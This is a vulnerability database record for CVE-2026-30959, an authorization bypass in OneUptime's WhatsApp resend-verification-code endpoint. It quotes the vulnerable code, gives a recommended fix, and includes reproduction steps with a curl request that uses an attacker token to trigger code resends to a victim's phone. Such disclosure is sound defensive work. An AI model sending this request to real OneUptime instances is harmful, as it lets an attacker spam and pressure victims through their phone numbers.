{"id":"CVE-2026-30959","aliases":["CVE-2026-30959","GHSA-cw6x-mw64-q6pv"],"related":[],"kind":"vulnerability","state":"published","title":"OneUptime has WhatsApp Resend Verification Authorization Bypass","summary":"OneUptime is a solution for monitoring and managing online services. The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint). This affects the UserWhatsAppAPI.ts endpoint and the UserWhatsAppService.ts service.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"OneUptime is a solution for monitoring and managing online services. The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any UserWhatsApp record by ID. Ownership is not validated (unlike the verify endpoint). This affects the UserWhatsAppAPI.ts endpoint and the UserWhatsAppService.ts service.","source":"cvelist"},{"lang":"en","text":"### Description  \n  The resend-verification-code endpoint allows any authenticated user to trigger a verification code resend for any `UserWhatsApp` record by ID. Ownership is not validated (unlike the verify endpoint).\n\n### Affected Source  \n- Endpoint: [UserWhatsAppAPI.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L129-L153)  \n- Service: [UserWhatsAppService.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L129-L153)  \n- Verify ownership (present in verify endpoint for comparison): [UserWhatsAppAPI.ts](https://github.com/OneUptime/oneuptime/Common/Server/API/UserWhatsAppAPI.ts#L78-L87)\n\n\n### Full Code Lines (UserWhatsAppAPI.ts)\n\nResend path (authorization gap):\n\n```ts\n    this.router.post(\n      `${new this.entityType()\n        .getCrudApiPath()\n        ?.toString()}/resend-verification-code`,\n      UserMiddleware.getUserMiddleware,\n      async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {\n        try {\n          req = req as OneUptimeRequest;\n\n          if (!req.body.itemId) {\n            return Response.sendErrorResponse(\n              req,\n              res,\n              new BadDataException(\"Invalid item ID\"),\n            );\n          }\n\n          await this.service.resendVerificationCode(req.body.itemId);\n\n          return Response.sendEmptySuccessResponse(req, res);\n        } catch (err) {\n          return next(err);\n        }\n      },\n    );\n```\n\nVerify path (ownership check present):\n\n```ts\n          if (\n            item.userId?.toString() !==\n            (req as OneUptimeRequest)?.userAuthorization?.userId?.toString()\n          ) {\n            return Response.sendErrorResponse(\n              req,\n              res,\n              new BadDataException(\"Invalid user ID\"),\n            );\n          }\n```\n\n## Prerequisites\n- Valid attacker account with access to a project\n- Attacker access token\n- A victim’s `UserWhatsApp` itemId belonging to the same project\n\n## Steps to Reproduce\n1. Set your attacker token:\n\n   ```bash\n   export ATK=\"Bearer <attacker-access-token>\"\n   ```\n\n2. Trigger resend for the victim’s item:\n\n   ```bash\n   curl -s -X POST \\\n     -H \"Content-Type: application/json\" \\\n     -H \"Authorization: $ATK\" \\\n     -d '{\"itemId\":\"<victim-userwhatsapp-id>\"}' \\\n     http://<host>/api/user-whats-app/resend-verification-code\n   ```\n\n## Expected/Observed Behavior\n- HTTP 200 with `{}` body and a new verification code sent to the victim’s phone\n- No checks confirm that `item.userId` equals the authenticated user’s ID for the resend path\n\n## Impact\n- Spam/DoS against victims’ phone numbers, social engineering pressure, and potential lockout flows due to repeated resends\n\n## Recommended Fix\n- Enforce ownership: `item.userId` must match the authenticated user\n- Add per-item and per-user rate limiting for resends","format":"markdown","source":"ghsa"},{"lang":"es","text":"OneUptime es una solución para monitorear y gestionar servicios en línea. El endpoint resend-verification-code permite a cualquier usuario autenticado activar un reenvío de código de verificación para cualquier registro de UserWhatsApp por ID. La propiedad no se valida (a diferencia del endpoint verify). Esto afecta al endpoint UserWhatsAppAPI.ts y al servicio UserWhatsAppService.ts.","source":"nvd"}],"published":"2026-03-10T01:15:30.000Z","modified":"2026-10-07T08:10:00.200Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L","score":5.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L","score":5.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:L","score":5,"rating":"MEDIUM"}],"cwes":["CWE-285","CWE-307","CWE-639","CWE-862"],"affected":[{"ranges":[{"version":"< 10.0.21","status":"affected"}],"vendor":"OneUptime","product":"oneuptime","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"10.0.21"}],"ecosystem":"npm","package":"@oneuptime/common","purl":"pkg:npm/%40oneuptime/common","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"10.0.21"}],"vendor":"hackerbay","product":"oneuptime","cpe":"cpe:2.3:a:hackerbay:oneuptime:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/OneUptime/oneuptime/security/advisories/GHSA-cw6x-mw64-q6pv","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/OneUptime/oneuptime/releases/tag/10.0.21","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30959","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/OneUptime/oneuptime","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-03-10T17:59:00.763Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-30959","url":"https://www.cve.org/CVERecord?id=CVE-2026-30959","licence":"CVE Terms of Use","modified":"2026-03-10T17:59:05.359Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-cw6x-mw64-q6pv","url":"https://github.com/advisories/GHSA-cw6x-mw64-q6pv","licence":"CC-BY-4.0","modified":"2026-03-10T19:01:32.247Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-30959","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30959","licence":"Public domain","modified":"2026-10-07T08:10:00.200Z"}],"updatedAt":"2026-11-25T22:59:15.622Z","epss":{"score":0.00418,"percentile":0.38062,"date":"2026-12-01T12:00:22.000Z"}}